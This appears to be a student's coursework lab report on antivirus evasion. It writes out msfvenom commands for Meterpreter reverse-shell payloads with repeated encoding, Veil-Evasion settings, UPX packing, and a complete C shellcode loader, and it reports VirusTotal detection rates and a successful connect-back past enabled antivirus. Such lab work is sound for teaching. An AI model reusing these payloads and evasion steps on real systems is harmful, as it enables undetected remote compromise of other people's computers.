• 20192427李睿智 202120222《网络与系统攻防技术》实验三


    20192427 2021-2022-2 《网络与系统攻防技术》实验三

    目录:

    1,实验内容

    1,正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程

    2,通过组合应用各种技术实现恶意代码免杀
    3,用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    2,实验要求

    1,掌握免杀原理与技术。

    • 免杀原理:躲开杀毒软件的识别,可以从杀毒软件的原理入手。


    杀毒软件的原理:
    当前杀毒软件的原理主要有三种:

    (1)引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
    (2)启发式Heuristic,通过程序的一些行为和特征来判断。
    (3)在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。

    • 免杀技术:
      (1)改变特征码
      注释:特征码就是一种只在病毒或木马文件内才有的独一无二的特征,它或是一段字符,或是在特定位置调用的一个函数。
      (2)改变行为

    2,基础问题回答。

    (1)杀软是如何检测出恶意代码的?

    ①基于特征码检测
    如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。
    ②启发式恶意软件检测
    如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。
    ③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。

    (2)免杀是做什么?

    免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。

    (3)免杀的基本方法有哪些?

    ①改变特征码;若只有EXE可以通过加壳,包括压缩壳和加密壳来改变特征码。若有shellcode可以用encodde进行编码或者基于payload重新编译生成可执行文件(这次实践尝试过这种方法)。若有源代码,可用其他语言进行重新再编译(veil-evasion)。
    ②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。③非常规方法;使用社工类攻击,诱骗目标关闭软件。

    3,实验过程

    3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    本地IP:192.168.200.1
    虚拟机IP:192.168.56.101

    1,步骤一:利用工具对实验二中生成的后门程序进行检测

    图一

    如上图所示,后门程序不进行隐藏,大多数杀毒软件都可以检查出来。

    2,msfvenom直接生成meterpreter可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.101 LPORT=2427 -f exe > 20192427_msf.exe
    

    图二
    将生成的后面文件放在测试网站进行测试结果如下:

    图三

    70个扫描引擎中有52中把它识别为病毒。以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。很明显识别率挺高的。

    3,多次编码生成exe文件

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.101 LPORT=2427 -f exe > 20192427_msf1.exe
    

    通过迭代10次的方式来生成新的exe文件,代码运行如下:

    图四

    再次使用VirusTotal工具进行检测,检测结果:68款杀毒软件有54款能够检测出此文件.

    图五

    4,利用msf编码器生成其他类型的文件,如jar。指令如下:

     msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 x > 20192427_msf2.jar
    

    图六
    使用VirusTotal工具进行检测,检测结果如下:

    图七
    5,再生成php文件,指令如下
     msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 x> 20192427_msf3.php 
    

    运行结果:

    图八
    检测结果:57款软件中有21款能够检测出此文件

    图九

    6,安装veli加壳工具

    sudo apt-get -y install git
    sudo apt-get install libncurses5* 
    sudo apt-get install libavutil55* 
    sudo apt-get install gcc-mingw-w64* 
    sudo apt-get install wine32 
    sudo apt-get update
    sudo apt-get install veil-evasion
    veil
    

    安装结果如下:

    图十

    正常情况下一路next,然后就按照成功了。

    再次输入veil进入如上画面

    使用veil生成meterperter
    代码如下:

    veil
    use evasion                 //进入Evil—Evasion
    use c/meterpreter/rev_tcp.py    //进入配置界面
    set LHOST 192.168.127.134       //设置反弹链接ip,此处为Kali的ip
    set LPORT 1326              //设置端口
    generate
    

    保存路径为:

    /var/lib/veil/output/handlers/20192427lrz.rc
    

    对文件进行检测:检测结果如下:

    7,免杀加壳

    • 压缩壳:减少应用体积,如ASPack,UPX
    • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如 VMProtect, Themida

    使用UPX对20192427veil.exe进行加壳

    upx 20192427lrz.exe -o 20192427lrz_upx.exe
    

    检测结果如下:

    可以看出检出率37/69,看来检测能力很强。

    3.2使用C + shellcode编程

    使用msfvenom得到shellcode

    首先使用msf生成shellcode。

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 -f c
    

    根据生成的shellcode编写的c文件如下:

    unsigned char buf[] =                                                                                               
    "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"                                                      
    "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"                                                      
    "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"                                                      
    "\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"                                                      
    "\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"                                                      
    "\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"                                                      
    "\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"                                                      
    "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"                                                      
    "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"                                                      
    "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"                                                      
    "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"                                                      
    "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"                                                      
    "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x38\x65\x68\x02"                                                      
    "\x00\x09\x7b\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
    "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
    "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
    "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
    "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
    "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
    "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
    "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
    "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
    "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
    "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
    int main() { int (*func)() = (int(*)())buf; func(); }
    

    编译可执行文件

    i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
    

    对此代码进行检测,检测结果如下:

    upx 20192430xzc_shellcode.exe -o 20192430xzc_shellcode1.exe //压缩加壳
    

    3.3 通过组合应用各种技术实现恶意代码免杀

    使用veil生成木马文件,执行如下命令

    veil
    use evasion                 
    use 28                      
    set LHOST 192.168.56.101      
    set LPORT 2427             
    generate
    

    再使用upx对生成的20192427lrz_py.exe进行加壳

    upx 20192427lrz_py.exe -o 20192427lrz_py_upx.exe
    

    将生成的backdoor_py_upx.exe丢到检测网站上检测.检测结果为检出率有所下降,比之前更加明显

    3.4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    生成raw文件

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.200.1 lport=2427 -f raw -o 20192427.raw 
    


    在共享文件夹中找到shellcode_launcher.exe -i 20192427.raw 运行生成的文件

    再利用杀毒软件,在此目录下进行检测:

    检测出的只有恶意代码课上使用的软件。

    利用该文件进行反弹连接,通过此文件可以实现反弹连接

    4,问题以及解决方案

    问题一
    所需要的空间不够用

    解决方法:扩容

    问题二

    解决方法:询问舍友得知解决方案如下:

    dpkg --add-architecture i386
    apt-get update
    apt-get install wine32
    

    问题三

    解决方法:不够仔细,不够细心,重新输入代码命令。

    5,实验感想

    在本次实验中,掌握了更多种后门程序的生成方法,以及掌握杀软是如何检测到恶意软件的原理,学会把后门程序免杀化,通过各种的尝试使自己的后门程序更加完善。
    开启杀软能绝对防止电脑中恶意代码很明显,在实践中就能发现事实上杀软并不能绝对防止电脑中恶意代码,恶意软件能通过各种方式试图绕过杀软。

  • 相关阅读:
    线程与进程
    Java集合框架体系JCF
    Java异常
    抽象,接口和Object类
    Java三大特性
    面向对象
    数组
    Java 控制结构与方法
    数据类型与变量
    Java基础之入门
  • 原文地址:https://www.cnblogs.com/lrz2427/p/16127460.html
Copyright © 2020-2023  润新知